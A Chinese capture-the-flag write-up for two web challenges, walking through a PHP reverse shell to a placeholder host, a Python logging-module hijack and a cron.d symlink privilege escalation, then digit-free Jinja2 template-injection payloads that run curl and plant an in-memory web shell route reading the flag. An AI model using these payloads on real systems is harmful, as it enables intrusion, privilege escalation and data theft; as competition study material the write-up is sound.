巅峰极客初赛

发布于 2024-08-21  125 次阅读


php_online

查看源码

根据源码可知会创建我们随机八位数的目录 然后以nobody执行

我们可以弹个shell

<?php system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");?>

flag 只有root权限才能读

可以看到init.py是www-data用户运行的 然后导入了logging库

我们可以劫持logging库 直接创建一个logging/__init__.py劫持 获得wwwdata权限

首先创建logging目录

再进行劫持写入 然后点击发送之后 再点击一次执行代码 此时会收到www-data的shell

接着我们用软连接到计划任务的去提权

进入sandbox目录下

ln -s /etc/cron.d 12312312


接着我们从web目录进入12312312目录下 进行执行命令

写入计划任务 注意一定要有延时函数 不然会被秒删(源码有)

等一会就可以看见flag可读


GoldenHornKing

访问得到源码 注意最后is_special_access_granted = True 意思是题目环境只能执行一次 所以我们本地搭建好把这行代码删掉进行调试 发现本题没有回显 且过滤了数字 于是我们找到没有数字的payload

lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('curl dns').read()")

发现dns可以通 但不能外带 于是转换思路写文件

发现可以写 lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('curl dns>1.txt').read()")

但是访问不到 接着想到写内存马

之前做过国赛的sanic的 在跟源码的过程中也跟到了一些内存马

发现这个方法可以被我们重写

最后

lipsum.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].add_api_route('shell',lambda%20:__import__('os').popen('cat%20/fl*').read())")

访问shell路由得到结果


喜欢web